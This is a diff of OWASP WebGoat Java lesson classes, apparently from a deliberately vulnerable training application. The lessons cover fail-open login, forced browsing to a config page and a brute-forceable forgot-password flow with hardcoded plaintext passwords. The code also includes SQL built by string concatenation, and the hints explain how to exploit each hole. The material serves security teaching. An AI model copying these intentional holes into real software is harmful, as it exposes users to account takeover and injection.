.add("Try removing a parameter ENTIRELY with <A href=\"http://www.owasp.org/development/webscarab\">WebScarab</A>."); .add("Try removing a parameter ENTIRELY with <A href=\"http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project\">OWASP ZAP</A>.");
return hints; return hints;
} }
/** /**
* Gets the instructions attribute of the FailOpenAuthentication object * Gets the instructions attribute of the FailOpenAuthentication object
* *
* @return The instructions value * @return The instructions value
*/ */
public String getInstructions(WebSession s) public String getInstructions(WebSession s)
{ {
return "Due to an error handling problem in the authentication mechanism, it is possible to authenticate " return "Due to an error handling problem in the authentication mechanism, it is possible to authenticate "
+ "as the 'webgoat' user without entering a password. Try to login as the webgoat user without " + "as the 'webgoat' user without entering a password. Try to login as the webgoat user without "
+ "specifying a password."; + "specifying a password.";
} }
private final static Integer DEFAULT_RANKING = new Integer(20); private final static Integer DEFAULT_RANKING = new Integer(20);
protected Integer getDefaultRanking() protected Integer getDefaultRanking()
{ {
return DEFAULT_RANKING; return DEFAULT_RANKING;
} }
/** /**
* Gets the title attribute of the AuthenticateScreen object * Gets the title attribute of the AuthenticateScreen object
* *
* @return The title value * @return The title value
*/ */
public String getTitle() public String getTitle()
{ {
return ("Fail Open Authentication Scheme"); return ("Fail Open Authentication Scheme");
} }
public Element getCredits() public Element getCredits()
{ {
return super.getCustomCredits("", ASPECT_LOGO); return super.getCustomCredits("", ASPECT_LOGO);
} }
} }

View File

@ -51,100 +51,100 @@ import org.owasp.webgoat.session.WebSession;
public class ForcedBrowsing extends LessonAdapter public class ForcedBrowsing extends LessonAdapter
{ {
private final static String SUCCEEDED = "succeeded"; private final static String SUCCEEDED = "succeeded";
public final static A MAC_LOGO = new A().setHref("http://www.softwaresecured.com").addElement(new IMG("images/logos/softwaresecured.gif").setAlt("Software Secured").setBorder(0).setHspace(0).setVspace(0)); public final static A MAC_LOGO = new A().setHref("http://www.softwaresecured.com").addElement(new IMG("images/logos/softwaresecured.gif").setAlt("Software Secured").setBorder(0).setHspace(0).setVspace(0));
/** /**
* Description of the Method * Description of the Method
* *
* @param s * @param s
* Description of the Parameter * Description of the Parameter
* @return Description of the Return Value * @return Description of the Return Value
*/ */
protected Element createContent(WebSession s) protected Element createContent(WebSession s)
{ {
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
String success = new String(s.getParser().getStringParameter(SUCCEEDED, "")); String success = new String(s.getParser().getStringParameter(SUCCEEDED, ""));
if (success.length() != 0 && success.equals("yes")) if (success.length() != 0 && success.equals("yes"))
{ {
ec.addElement(new BR().addElement(new H1().addElement("Welcome to WebGoat Configuration Page"))); ec.addElement(new BR().addElement(new H1().addElement("Welcome to WebGoat Configuration Page")));
ec.addElement(new BR()); ec.addElement(new BR());
Table t1 = new Table().setCellSpacing(0).setCellPadding(0).setBorder(0).setWidth("90%").setAlign("center"); Table t1 = new Table().setCellSpacing(0).setCellPadding(0).setBorder(0).setWidth("90%").setAlign("center");
TR tr = new TR(); TR tr = new TR();
tr.addElement(new TD(new StringElement("Set Admin Privileges for: "))); tr.addElement(new TD(new StringElement("Set Admin Privileges for: ")));
Input input1 = new Input(Input.TEXT, "", ""); Input input1 = new Input(Input.TEXT, "", "");
tr.addElement(new TD(input1)); tr.addElement(new TD(input1));
t1.addElement(tr); t1.addElement(tr);
tr = new TR(); tr = new TR();
tr.addElement(new TD(new StringElement("Set Admin Password:"))); tr.addElement(new TD(new StringElement("Set Admin Password:")));
input1 = new Input(Input.PASSWORD, "", ""); input1 = new Input(Input.PASSWORD, "", "");
tr.addElement(new TD(input1)); tr.addElement(new TD(input1));
t1.addElement(tr); t1.addElement(tr);
Element b = ECSFactory.makeButton("Submit"); Element b = ECSFactory.makeButton("Submit");
t1.addElement(new TR(new TD(b).setColSpan(2).setAlign("right"))); t1.addElement(new TR(new TD(b).setColSpan(2).setAlign("right")));
ec.addElement(t1); ec.addElement(t1);
makeSuccess(s); makeSuccess(s);
} }
else else
{ {
ec ec
.addElement("Can you try to force browse to the config page which should only be accessed by maintenance personnel."); .addElement("Can you try to force browse to the config page which should only be accessed by maintenance personnel.");
} }
return ec; return ec;
} }
/** /**
* Gets the category attribute of the ForgotPassword object * Gets the category attribute of the ForgotPassword object
* *
* @return The category value * @return The category value
*/ */
protected Category getDefaultCategory() protected Category getDefaultCategory()
{ {
return Category.INSECURE_CONFIGURATION; return Category.INSECURE_CONFIGURATION;
} }
/** /**
* Gets the hints attribute of the HelloScreen object * Gets the hints attribute of the HelloScreen object
* *
* @return The hints value * @return The hints value
*/ */
public List<String> getHints(WebSession s) public List<String> getHints(WebSession s)
{ {
List<String> hints = new ArrayList<String>(); List<String> hints = new ArrayList<String>();
hints.add("Try to guess the URL for the config page"); hints.add("Try to guess the URL for the config page");
hints.add("The config page is guessable and hackable"); hints.add("The config page is guessable and hackable");
hints.add("Play with the URL and try to guess what you can replace 'attack' with."); hints.add("Play with the URL and try to guess what you can replace 'attack' with.");
hints.add("Try to navigate to http://localhost/WebGoat/conf"); hints.add("Try to navigate to http://localhost/WebGoat/conf");
return hints; return hints;
} }
private final static Integer DEFAULT_RANKING = new Integer(15); private final static Integer DEFAULT_RANKING = new Integer(15);
protected Integer getDefaultRanking() protected Integer getDefaultRanking()
{ {
return DEFAULT_RANKING; return DEFAULT_RANKING;
} }
/** /**
* Gets the title attribute of the HelloScreen object * Gets the title attribute of the HelloScreen object
* *
* @return The title value * @return The title value
*/ */
public String getTitle() public String getTitle()
{ {
return ("Forced Browsing"); return ("Forced Browsing");
} }
public Element getCredits() public Element getCredits()
{ {
return super.getCustomCredits("Created by Sherif Koussa&nbsp;", MAC_LOGO); return super.getCustomCredits("Created by Sherif Koussa&nbsp;", MAC_LOGO);
} }
} }

View File

@ -54,282 +54,282 @@ import org.owasp.webgoat.session.WebSession;
public class ForgotPassword extends LessonAdapter public class ForgotPassword extends LessonAdapter
{ {
public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com") public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com")
.addElement( .addElement(
new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0) new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0)
.setVspace(0)); .setVspace(0));
private final static String USERNAME = "Username"; private final static String USERNAME = "Username";
private static String USERNAME_RESPONSE = ""; private static String USERNAME_RESPONSE = "";
private final static String COLOR = "Color"; private final static String COLOR = "Color";
private static String COLOR_RESPONSE = ""; private static String COLOR_RESPONSE = "";
private static int STAGE = 1; private static int STAGE = 1;
private final static HashMap<String, String> USERS = new HashMap<String, String>(); private final static HashMap<String, String> USERS = new HashMap<String, String>();
private final static HashMap<String, String> COLORS = new HashMap<String, String>(); private final static HashMap<String, String> COLORS = new HashMap<String, String>();
private void populateTables() private void populateTables()
{ {
USERS.put("admin", "2275$starBo0rn3"); USERS.put("admin", "2275$starBo0rn3");
USERS.put("jeff", "(_I_)illia(V)s"); USERS.put("jeff", "(_I_)illia(V)s");
USERS.put("dave", "\\V/ich3r$"); USERS.put("dave", "\\V/ich3r$");
USERS.put("intern", "H3yn0w"); USERS.put("intern", "H3yn0w");
USERS.put("webgoat", "webgoat"); USERS.put("webgoat", "webgoat");
COLORS.put("admin", "green"); COLORS.put("admin", "green");
COLORS.put("jeff", "orange"); COLORS.put("jeff", "orange");
COLORS.put("dave", "purple"); COLORS.put("dave", "purple");
COLORS.put("intern", "yellow"); COLORS.put("intern", "yellow");
COLORS.put("webgoat", "red"); COLORS.put("webgoat", "red");
} }
protected Element doStage1(WebSession s) protected Element doStage1(WebSession s)
{ {
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
ec.addElement(new BR().addElement(new H1().addElement("Webgoat Password Recovery "))); ec.addElement(new BR().addElement(new H1().addElement("Webgoat Password Recovery ")));
Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setWidth("90%").setAlign("center"); Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setWidth("90%").setAlign("center");
if (s.isColor()) if (s.isColor())
{ {
t.setBorder(1); t.setBorder(1);
} }
TR tr = new TR(); TR tr = new TR();
tr.addElement(new TH() tr.addElement(new TH()
.addElement("Please input your username. See the OWASP admin if you do not have an account.") .addElement("Please input your username. See the OWASP admin if you do not have an account.")
.setColSpan(2).setAlign("left")); .setColSpan(2).setAlign("left"));
t.addElement(tr); t.addElement(tr);
tr = new TR(); tr = new TR();
tr.addElement(new TD().addElement("*Required Fields").setWidth("30%")); tr.addElement(new TD().addElement("*Required Fields").setWidth("30%"));
t.addElement(tr); t.addElement(tr);
tr = new TR(); tr = new TR();
tr.addElement(new TD().addElement("&nbsp;").setColSpan(2)); tr.addElement(new TD().addElement("&nbsp;").setColSpan(2));
t.addElement(tr); t.addElement(tr);
TR row1 = new TR(); TR row1 = new TR();
row1.addElement(new TD(new B(new StringElement("*User Name: ")))); row1.addElement(new TD(new B(new StringElement("*User Name: "))));
Input input1 = new Input(Input.TEXT, USERNAME, ""); Input input1 = new Input(Input.TEXT, USERNAME, "");
row1.addElement(new TD(input1)); row1.addElement(new TD(input1));
t.addElement(row1); t.addElement(row1);
Element b = ECSFactory.makeButton("Submit"); Element b = ECSFactory.makeButton("Submit");
t.addElement(new TR(new TD(b))); t.addElement(new TR(new TD(b)));
ec.addElement(t); ec.addElement(t);
return (ec); return (ec);
} }
protected Element doStage2(WebSession s) protected Element doStage2(WebSession s)
{ {
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
ec.addElement(new H1().addElement("Webgoat Password Recovery ")); ec.addElement(new H1().addElement("Webgoat Password Recovery "));
Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setWidth("90%").setAlign("center"); Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setWidth("90%").setAlign("center");
if (s.isColor()) if (s.isColor())
{ {
t.setBorder(1); t.setBorder(1);
} }
TR tr = new TR(); TR tr = new TR();
tr.addElement(new TH().addElement("Secret Question: What is your favorite color?").setColSpan(2) tr.addElement(new TH().addElement("Secret Question: What is your favorite color?").setColSpan(2)
.setAlign("left")); .setAlign("left"));
t.addElement(tr); t.addElement(tr);
tr = new TR(); tr = new TR();
tr.addElement(new TD().addElement("*Required Fields").setWidth("30%")); tr.addElement(new TD().addElement("*Required Fields").setWidth("30%"));
t.addElement(tr); t.addElement(tr);
tr = new TR(); tr = new TR();
tr.addElement(new TD().addElement("&nbsp;").setColSpan(2)); tr.addElement(new TD().addElement("&nbsp;").setColSpan(2));
t.addElement(tr); t.addElement(tr);
TR row1 = new TR(); TR row1 = new TR();
row1.addElement(new TD(new B(new StringElement("*Answer: ")))); row1.addElement(new TD(new B(new StringElement("*Answer: "))));
Input input1 = new Input(Input.TEXT, COLOR, ""); Input input1 = new Input(Input.TEXT, COLOR, "");
row1.addElement(new TD(input1)); row1.addElement(new TD(input1));
t.addElement(row1); t.addElement(row1);
Element b = ECSFactory.makeButton("Submit"); Element b = ECSFactory.makeButton("Submit");
t.addElement(new TR(new TD(b))); t.addElement(new TR(new TD(b)));
ec.addElement(t); ec.addElement(t);
return (ec); return (ec);
} }
protected Element doStage3(WebSession s) protected Element doStage3(WebSession s)
{ {
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
ec.addElement(new H1().addElement("Webgoat Password Recovery ")); ec.addElement(new H1().addElement("Webgoat Password Recovery "));
Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setWidth("90%").setAlign("center"); Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setWidth("90%").setAlign("center");
if (s.isColor()) if (s.isColor())
{ {
t.setBorder(1); t.setBorder(1);
} }
TR tr = new TR(); TR tr = new TR();
tr.addElement(new TH().addElement("For security reasons, please change your password immediately.") tr.addElement(new TH().addElement("For security reasons, please change your password immediately.")
.setColSpan(2).setAlign("left")); .setColSpan(2).setAlign("left"));
t.addElement(tr); t.addElement(tr);
tr = new TR(); tr = new TR();
tr.addElement(new TD().addElement(new BR().addElement(new B().addElement(new StringElement("Results:")))) tr.addElement(new TD().addElement(new BR().addElement(new B().addElement(new StringElement("Results:"))))
.setAlign("left")); .setAlign("left"));
t.addElement(tr); t.addElement(tr);
tr = new TR(); tr = new TR();
tr.addElement(new TD().addElement(new StringElement("Username: " + USERNAME_RESPONSE))); tr.addElement(new TD().addElement(new StringElement("Username: " + USERNAME_RESPONSE)));
t.addElement(tr); t.addElement(tr);
tr = new TR(); tr = new TR();
tr.addElement(new TD().addElement(new StringElement("Color: " + COLOR_RESPONSE))); tr.addElement(new TD().addElement(new StringElement("Color: " + COLOR_RESPONSE)));
t.addElement(tr); t.addElement(tr);
tr = new TR(); tr = new TR();
tr.addElement(new TD().addElement(new StringElement("Password: " + USERS.get(USERNAME_RESPONSE).toString()))); tr.addElement(new TD().addElement(new StringElement("Password: " + USERS.get(USERNAME_RESPONSE).toString())));
t.addElement(tr); t.addElement(tr);
ec.addElement(t); ec.addElement(t);
if (USERNAME_RESPONSE.equals("admin") && COLOR_RESPONSE.equals("green")) if (USERNAME_RESPONSE.equals("admin") && COLOR_RESPONSE.equals("green"))
{ {
makeSuccess(s); makeSuccess(s);
} }
else if (!USERNAME_RESPONSE.equals("webgoat") && USERS.containsKey(USERNAME_RESPONSE)) else if (!USERNAME_RESPONSE.equals("webgoat") && USERS.containsKey(USERNAME_RESPONSE))
{ {
s.setMessage("Close. Now try to get the password of a privileged account."); s.setMessage("Close. Now try to get the password of a privileged account.");
} }
return ec; return ec;
} }
/** /**
* Description of the Method * Description of the Method
* *
* @param s * @param s
* Description of the Parameter * Description of the Parameter
* @return Description of the Return Value * @return Description of the Return Value
*/ */
protected Element createContent(WebSession s) protected Element createContent(WebSession s)
{ {
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
String username = ""; String username = "";
String color = ""; String color = "";
color = s.getParser().getStringParameter(COLOR, ""); color = s.getParser().getStringParameter(COLOR, "");
if (color.length() > 0) if (color.length() > 0)
STAGE = 2; STAGE = 2;
else else
STAGE = 1; STAGE = 1;
if (USERS.size() == 0) if (USERS.size() == 0)
{ {
populateTables(); populateTables();
} }
if (STAGE == 2) if (STAGE == 2)
{ {
color = s.getParser().getStringParameter(COLOR, ""); color = s.getParser().getStringParameter(COLOR, "");
if (COLORS.get(USERNAME_RESPONSE).equals(color)) if (COLORS.get(USERNAME_RESPONSE).equals(color))
{ {
STAGE = 1; STAGE = 1;
COLOR_RESPONSE = color; COLOR_RESPONSE = color;
ec.addElement(doStage3(s)); ec.addElement(doStage3(s));
} }
else else
{ {
s.setMessage("Incorrect response for " + USERNAME_RESPONSE + ". Please try again!"); s.setMessage("Incorrect response for " + USERNAME_RESPONSE + ". Please try again!");
ec.addElement(doStage2(s)); ec.addElement(doStage2(s));
} }
} }
else if (STAGE == 1) else if (STAGE == 1)
{ {
username = s.getParser().getStringParameter(USERNAME, ""); username = s.getParser().getStringParameter(USERNAME, "");
if (USERS.containsKey(username)) if (USERS.containsKey(username))
{ {
STAGE = 2; STAGE = 2;
USERNAME_RESPONSE = username; USERNAME_RESPONSE = username;
ec.addElement(doStage2(s)); ec.addElement(doStage2(s));
} }
else else
{ {
if (username.length() > 0) if (username.length() > 0)
{ {
s.setMessage("Not a valid username. Please try again."); s.setMessage("Not a valid username. Please try again.");
} }
ec.addElement(doStage1(s)); ec.addElement(doStage1(s));
} }
} }
else else
{ {
ec.addElement(doStage1(s)); ec.addElement(doStage1(s));
STAGE = 1; STAGE = 1;
} }
return ec; return ec;
} }
/** /**
* Gets the category attribute of the ForgotPassword object * Gets the category attribute of the ForgotPassword object
* *
* @return The category value * @return The category value
*/ */
protected Category getDefaultCategory() protected Category getDefaultCategory()
{ {
return Category.AUTHENTICATION; return Category.AUTHENTICATION;
} }
/** /**
* Gets the hints attribute of the HelloScreen object * Gets the hints attribute of the HelloScreen object
* *
* @return The hints value * @return The hints value
*/ */
public List<String> getHints(WebSession s) public List<String> getHints(WebSession s)
{ {
List<String> hints = new ArrayList<String>(); List<String> hints = new ArrayList<String>();
hints.add("There is no lock out policy in place, brute force your way!"); hints.add("There is no lock out policy in place, brute force your way!");
hints.add("Try using usernames you might encounter throughout WebGoat."); hints.add("Try using usernames you might encounter throughout WebGoat.");
hints.add("There are only so many possible colors, can you guess one?"); hints.add("There are only so many possible colors, can you guess one?");
hints.add("The administrative account is \"admin\""); hints.add("The administrative account is \"admin\"");
return hints; return hints;
} }
private final static Integer DEFAULT_RANKING = new Integer(15); private final static Integer DEFAULT_RANKING = new Integer(15);
protected Integer getDefaultRanking() protected Integer getDefaultRanking()
{ {
return DEFAULT_RANKING; return DEFAULT_RANKING;
} }
/** /**
* Gets the title attribute of the HelloScreen object * Gets the title attribute of the HelloScreen object
* *
* @return The title value * @return The title value
*/ */
public String getTitle() public String getTitle()
{ {
return ("Forgot Password"); return ("Forgot Password");
} }
public Element getCredits() public Element getCredits()
{ {
return super.getCustomCredits("", ASPECT_LOGO); return super.getCustomCredits("", ASPECT_LOGO);
} }
} }

View File

@ -42,289 +42,289 @@ import org.owasp.webgoat.session.WebSession;
*/ */
public abstract class DefaultLessonAction implements LessonAction public abstract class DefaultLessonAction implements LessonAction
{ {
// FIXME: We could parse this class name to get defaults for these fields. // FIXME: We could parse this class name to get defaults for these fields.
private String lessonName; private String lessonName;
private String actionName; private String actionName;
private GoatHillsFinancial lesson; private GoatHillsFinancial lesson;
public DefaultLessonAction(GoatHillsFinancial lesson, String lessonName, String actionName) public DefaultLessonAction(GoatHillsFinancial lesson, String lessonName, String actionName)
{ {
this.lesson = lesson; this.lesson = lesson;
this.lessonName = lessonName; this.lessonName = lessonName;
this.actionName = actionName; this.actionName = actionName;
} }
public void handleRequest(WebSession s) throws ParameterNotFoundException, UnauthenticatedException, public void handleRequest(WebSession s) throws ParameterNotFoundException, UnauthenticatedException,
UnauthorizedException, ValidationException UnauthorizedException, ValidationException
{ {
getLesson().setCurrentAction(s, getActionName()); getLesson().setCurrentAction(s, getActionName());
if (isAuthenticated(s)) if (isAuthenticated(s))
{ {
} }
else else
throw new UnauthenticatedException(); throw new UnauthenticatedException();
} }
public abstract String getNextPage(WebSession s); public abstract String getNextPage(WebSession s);
public GoatHillsFinancial getLesson() public GoatHillsFinancial getLesson()
{ {
return lesson; return lesson;
} }
public String getLessonName() public String getLessonName()
{ {
return lessonName; return lessonName;
} }
public String getActionName() public String getActionName()
{ {
return actionName; return actionName;
} }
public void setSessionAttribute(WebSession s, String name, Object value) public void setSessionAttribute(WebSession s, String name, Object value)
{ {
s.getRequest().getSession().setAttribute(name, value); s.getRequest().getSession().setAttribute(name, value);
} }
public void setRequestAttribute(WebSession s, String name, Object value) public void setRequestAttribute(WebSession s, String name, Object value)
{ {
s.getRequest().setAttribute(name, value); s.getRequest().setAttribute(name, value);
} }
public void removeSessionAttribute(WebSession s, String name) public void removeSessionAttribute(WebSession s, String name)
{ {
s.getRequest().getSession().removeAttribute(name); s.getRequest().getSession().removeAttribute(name);
} }
protected String getSessionAttribute(WebSession s, String name) throws ParameterNotFoundException protected String getSessionAttribute(WebSession s, String name) throws ParameterNotFoundException
{ {
String value = (String) s.getRequest().getSession().getAttribute(name); String value = (String) s.getRequest().getSession().getAttribute(name);
if (value == null) { throw new ParameterNotFoundException(); } if (value == null) { throw new ParameterNotFoundException(); }
return value; return value;
} }
protected boolean getBooleanSessionAttribute(WebSession s, String name) throws ParameterNotFoundException protected boolean getBooleanSessionAttribute(WebSession s, String name) throws ParameterNotFoundException
{ {
boolean value = false; boolean value = false;
Object attribute = s.getRequest().getSession().getAttribute(name); Object attribute = s.getRequest().getSession().getAttribute(name);
if (attribute == null) if (attribute == null)
{ {
throw new ParameterNotFoundException(); throw new ParameterNotFoundException();
} }
else else
{ {
// System.out.println("Attribute " + name + " is of type " + // System.out.println("Attribute " + name + " is of type " +
// s.getRequest().getSession().getAttribute(name).getClass().getName()); // s.getRequest().getSession().getAttribute(name).getClass().getName());
// System.out.println("Attribute value: " + // System.out.println("Attribute value: " +
// s.getRequest().getSession().getAttribute(name)); // s.getRequest().getSession().getAttribute(name));
value = ((Boolean) attribute).booleanValue(); value = ((Boolean) attribute).booleanValue();
} }
return value; return value;
} }
protected int getIntSessionAttribute(WebSession s, String name) throws ParameterNotFoundException protected int getIntSessionAttribute(WebSession s, String name) throws ParameterNotFoundException
{ {
int value = -1; int value = -1;
String ss = (String) s.getRequest().getSession().getAttribute(name); String ss = (String) s.getRequest().getSession().getAttribute(name);
if (ss == null) if (ss == null)
{ {
throw new ParameterNotFoundException(); throw new ParameterNotFoundException();
} }
else else
{ {
try try
{ {
value = Integer.parseInt(ss); value = Integer.parseInt(ss);
} catch (NumberFormatException nfe) } catch (NumberFormatException nfe)
{ {
} }
} }
return value; return value;
} }
protected String getRequestAttribute(WebSession s, String name) throws ParameterNotFoundException protected String getRequestAttribute(WebSession s, String name) throws ParameterNotFoundException
{ {
String value = (String) s.getRequest().getAttribute(name); String value = (String) s.getRequest().getAttribute(name);
if (value == null) { throw new ParameterNotFoundException(); } if (value == null) { throw new ParameterNotFoundException(); }
return value; return value;
} }
protected int getIntRequestAttribute(WebSession s, String name) throws ParameterNotFoundException protected int getIntRequestAttribute(WebSession s, String name) throws ParameterNotFoundException
{ {
int value = -1; int value = -1;
String ss = (String) s.getRequest().getAttribute(name); String ss = (String) s.getRequest().getAttribute(name);
if (ss == null) if (ss == null)
{ {
throw new ParameterNotFoundException(); throw new ParameterNotFoundException();
} }
else else
{ {
try try
{ {
value = Integer.parseInt(ss); value = Integer.parseInt(ss);
} catch (NumberFormatException nfe) } catch (NumberFormatException nfe)
{ {
} }
} }
return value; return value;
} }
public int getUserId(WebSession s) throws ParameterNotFoundException public int getUserId(WebSession s) throws ParameterNotFoundException
{ {
return getIntSessionAttribute(s, getLessonName() + "." + RoleBasedAccessControl.USER_ID); return getIntSessionAttribute(s, getLessonName() + "." + RoleBasedAccessControl.USER_ID);
} }
public String getUserName(WebSession s) throws ParameterNotFoundException public String getUserName(WebSession s) throws ParameterNotFoundException
{ {
String name = null; String name = null;
int employeeId = getUserId(s); int employeeId = getUserId(s);
try try
{ {
String query = "SELECT first_name FROM employee WHERE userid = " + employeeId; String query = "SELECT first_name FROM employee WHERE userid = " + employeeId;
try try
{ {
Statement answer_statement = WebSession.getConnection(s) Statement answer_statement = WebSession.getConnection(s)
.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY); .createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
ResultSet answer_results = answer_statement.executeQuery(query); ResultSet answer_results = answer_statement.executeQuery(query);
if (answer_results.next()) name = answer_results.getString("first_name"); if (answer_results.next()) name = answer_results.getString("first_name");
} catch (SQLException sqle) } catch (SQLException sqle)
{ {
s.setMessage("Error getting user name"); s.setMessage("Error getting user name");
sqle.printStackTrace(); sqle.printStackTrace();
} }
} catch (Exception e) } catch (Exception e)
{ {
s.setMessage("Error getting user name"); s.setMessage("Error getting user name");
e.printStackTrace(); e.printStackTrace();
} }
return name; return name;
} }
public boolean requiresAuthentication() public boolean requiresAuthentication()
{ {
// Default to true // Default to true
return true; return true;
} }
public boolean isAuthenticated(WebSession s) public boolean isAuthenticated(WebSession s)
{ {
boolean authenticated = false; boolean authenticated = false;
try try
{ {
authenticated = getBooleanSessionAttribute(s, getLessonName() + ".isAuthenticated"); authenticated = getBooleanSessionAttribute(s, getLessonName() + ".isAuthenticated");
} catch (ParameterNotFoundException e) } catch (ParameterNotFoundException e)
{ {
} }
return authenticated; return authenticated;
} }
public boolean isAuthorized(WebSession s, int employeeId, String functionId) public boolean isAuthorized(WebSession s, int employeeId, String functionId)
{ {
String employer_id = (String) s.getRequest().getSession() String employer_id = (String) s.getRequest().getSession()
.getAttribute(getLessonName() + "." + RoleBasedAccessControl.USER_ID); .getAttribute(getLessonName() + "." + RoleBasedAccessControl.USER_ID);
// System.out.println("Authorizing " + employeeId + " for use of function: " + functionId + // System.out.println("Authorizing " + employeeId + " for use of function: " + functionId +
// " having USER_ID = " // " having USER_ID = "
// + employer_id ); // + employer_id );
boolean authorized = false; boolean authorized = false;
try try
{ {
String query = "SELECT * FROM auth WHERE auth.role in (SELECT roles.role FROM roles WHERE userid = " String query = "SELECT * FROM auth WHERE auth.role in (SELECT roles.role FROM roles WHERE userid = "
+ employeeId + ") and functionid = '" + functionId + "'"; + employeeId + ") and functionid = '" + functionId + "'";
try try
{ {
Statement answer_statement = WebSession.getConnection(s) Statement answer_statement = WebSession.getConnection(s)
.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY); .createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
ResultSet answer_results = answer_statement.executeQuery(query); ResultSet answer_results = answer_statement.executeQuery(query);
authorized = answer_results.first(); authorized = answer_results.first();
/* /*
* User is validated for function, but can the user perform that function on the * User is validated for function, but can the user perform that function on the
* specified user? * specified user?
*/ */
if (authorized) if (authorized)
{ {
authorized = isAuthorizedForEmployee(s, Integer.parseInt(employer_id), employeeId); authorized = isAuthorizedForEmployee(s, Integer.parseInt(employer_id), employeeId);
} }
} catch (SQLException sqle) } catch (SQLException sqle)
{ {
s.setMessage("Error authorizing"); s.setMessage("Error authorizing");
sqle.printStackTrace(); sqle.printStackTrace();
} }
} catch (Exception e) } catch (Exception e)
{ {
s.setMessage("Error authorizing"); s.setMessage("Error authorizing");
e.printStackTrace(); e.printStackTrace();
} }
// System.out.println("Authorized? " + authorized); // System.out.println("Authorized? " + authorized);
return authorized; return authorized;
} }
public boolean isAuthorizedForEmployee(WebSession s, int userId, int employeeId) public boolean isAuthorizedForEmployee(WebSession s, int userId, int employeeId)
{ {
// System.out.println("Authorizing " + userId + " for access to employee: " + employeeId); // System.out.println("Authorizing " + userId + " for access to employee: " + employeeId);
boolean authorized = false; boolean authorized = false;
try try
{ {
String query = "SELECT * FROM ownership WHERE employer_id = ? AND employee_id = ?"; String query = "SELECT * FROM ownership WHERE employer_id = ? AND employee_id = ?";
try try
{ {
PreparedStatement answer_statement = WebSession.getConnection(s) PreparedStatement answer_statement = WebSession.getConnection(s)
.prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY); .prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
answer_statement.setInt(1, userId); answer_statement.setInt(1, userId);
answer_statement.setInt(2, employeeId); answer_statement.setInt(2, employeeId);
ResultSet answer_results = answer_statement.executeQuery(); ResultSet answer_results = answer_statement.executeQuery();
authorized = answer_results.first(); authorized = answer_results.first();
} catch (SQLException sqle) } catch (SQLException sqle)
{ {
s.setMessage("Error authorizing"); s.setMessage("Error authorizing");
sqle.printStackTrace(); sqle.printStackTrace();
} }
} catch (Exception e) } catch (Exception e)
{ {
s.setMessage("Error authorizing"); s.setMessage("Error authorizing");
e.printStackTrace(); e.printStackTrace();
} }
return authorized; return authorized;
} }
protected void setStage(WebSession s, String stage) protected void setStage(WebSession s, String stage)
{ {
getLesson().setStage(s, stage); getLesson().setStage(s, stage);
} }
protected void setStageComplete(WebSession s, String stage) protected void setStageComplete(WebSession s, String stage)
{ {
getLesson().setStageComplete(s, stage); getLesson().setStageComplete(s, stage);
} }
protected String getStage(WebSession s) protected String getStage(WebSession s)
{ {
return getLesson().getStage(s); return getLesson().getStage(s);
} }
public String toString() public String toString()
{ {
return getActionName(); return getActionName();
} }
} }

View File

@ -41,71 +41,71 @@ import org.owasp.webgoat.session.WebSession;
public class DeleteProfile extends DefaultLessonAction public class DeleteProfile extends DefaultLessonAction
{ {
private LessonAction chainedAction; private LessonAction chainedAction;
public DeleteProfile(GoatHillsFinancial lesson, String lessonName, String actionName, LessonAction chainedAction) public DeleteProfile(GoatHillsFinancial lesson, String lessonName, String actionName, LessonAction chainedAction)
{ {
super(lesson, lessonName, actionName); super(lesson, lessonName, actionName);
this.chainedAction = chainedAction; this.chainedAction = chainedAction;
} }
public void handleRequest(WebSession s) throws ParameterNotFoundException, UnauthenticatedException, public void handleRequest(WebSession s) throws ParameterNotFoundException, UnauthenticatedException,
UnauthorizedException, ValidationException UnauthorizedException, ValidationException
{ {
getLesson().setCurrentAction(s, getActionName()); getLesson().setCurrentAction(s, getActionName());
int userId = getIntSessionAttribute(s, getLessonName() + "." + GoatHillsFinancial.USER_ID); int userId = getIntSessionAttribute(s, getLessonName() + "." + GoatHillsFinancial.USER_ID);
int employeeId = s.getParser().getIntParameter(GoatHillsFinancial.EMPLOYEE_ID); int employeeId = s.getParser().getIntParameter(GoatHillsFinancial.EMPLOYEE_ID);
if (isAuthenticated(s)) if (isAuthenticated(s))
{ {
deleteEmployeeProfile(s, userId, employeeId); deleteEmployeeProfile(s, userId, employeeId);
try try
{ {
chainedAction.handleRequest(s); chainedAction.handleRequest(s);
} catch (UnauthenticatedException ue1) } catch (UnauthenticatedException ue1)
{ {
// System.out.println("Internal server error"); // System.out.println("Internal server error");
ue1.printStackTrace(); ue1.printStackTrace();
} catch (UnauthorizedException ue2) } catch (UnauthorizedException ue2)
{ {
// System.out.println("Internal server error"); // System.out.println("Internal server error");
ue2.printStackTrace(); ue2.printStackTrace();
} }
} }
else else
throw new UnauthenticatedException(); throw new UnauthenticatedException();
} }
public String getNextPage(WebSession s) public String getNextPage(WebSession s)
{ {
return GoatHillsFinancial.LISTSTAFF_ACTION; return GoatHillsFinancial.LISTSTAFF_ACTION;
} }
